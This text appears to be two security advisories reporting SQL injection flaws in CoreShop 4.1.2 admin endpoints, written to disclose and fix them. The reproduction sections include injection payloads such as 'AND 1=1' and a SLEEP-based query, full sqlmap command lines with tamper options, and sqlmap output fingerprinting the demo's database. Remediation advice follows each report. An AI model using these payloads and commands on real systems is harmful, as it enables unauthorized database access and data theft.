  'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'

Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"

Normal response (non-error):

{"success":true,"message":null,"list":[]}

Proof of Impact:

Test 1 - Normal query:

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}

Test 2 - SQL injection (error-inducing):

GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
  <title>500 | CORS - Pimcore Digital Agency</title>
  ...
</head>

The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.

Sqlmap Result:

python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db

Impact

• Vulnerability type: SQL Injection (Error-based)
• Affected users: CoreShop / Pimcore admin users
• Potential impact:
  • Database error disclosure
  • Database schema enumeration
  • Possible data extraction via error-based or blind SQL injection

Recommended Fix

1. Use Parameterized Queries (Required)

Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.

❌ Vulnerable example:

$condition = sprintf('name LIKE "%%%s%%"', (string) $value);

✅ Secure example (Doctrine QueryBuilder):

$qb->andWhere('c.name LIKE :name')
   ->setParameter('name', '%' . $value . '%');

This ensures proper escaping and prevents SQL injection.

2. Validate User Input (Defense-in-Depth)

Apply strict input validation before processing user data:

if (!is_string($value) || mb_strlen($value) > 255) {
    throw new BadRequestHttpException('Invalid input');
}

Optionally, restrict allowed characters if business logic permits.

3. Handle Errors Gracefully

Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:

return new JsonResponse([
    'success' => false,
    'message' => 'Invalid request'
], 400);

4. Security Best Practice

• Never interpolate user input directly into SQL strings
• Always use prepared statements or ORM parameter binding
• Ensure consistent input validation on all admin endpoints

Affected Version(s)

• CoreShop 4.1.2 Demo (tested) Demo | CoreShop
• Earlier versions may also be affected if the same code path exists

Summary

A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.

Details

The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.

An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.

Impact

Vulnerability Type: Blind SQL Injection

Impact: Confidentiality only

An attacker can:

• Enumerate database schema
• Extract all data accessible to the application’s database user

CVSS v3.1 (Base Score: 4.9 – Medium)

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Steps to Reproduce:

1. Send a Normal Request:
   • Request the report endpoint with a valid store value (e.g. store=1) and observe that data is returned.

2. Inject a Boolean TRUE Condition:
   • Modify the parameter to store=1 AND 1=1.
   • The response returns the same data as the normal request.

3. Inject a Boolean FALSE Condition:
   • Modify the parameter to store=1 AND 2=1.
   • The response returns an empty dataset.

4. Confirm Injection Behavior:

   • The difference between TRUE and FALSE conditions confirms that the store parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.

5. Automated Confirmation Using sqlmap:

   • The vulnerable request was tested using sqlmap with the store parameter.
   • sqlmap successfully confirmed the parameter as boolean-based and time-based blind SQL injectable.
   • The tool was able to fingerprint the backend environment, including:
     • Database Management System (DBMS)
     • Database hostname
     • PHP version
     • Available database names
   • This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.

C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store
---
Parameter: store (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50
---
web application technology: PHP 8.3.16
back-end DBMS: MySQL >= 5.0.12
hostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w'
available databases [3]:
[*] app
[*] information_schema
[*] performance_schema

Solution

To mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The store parameter is expected to represent a numeric store identifier and should therefore be handled safely.

Two possible remediation approaches are recommended:

1. Strict Type Enforcement (Minimal Fix)

   If the store parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. (int) $storeId). This prevents injection by ensuring that only numeric values are used in the query.

2. Prepared Statements (Best Practice)

   Alternatively, and preferably, the store parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.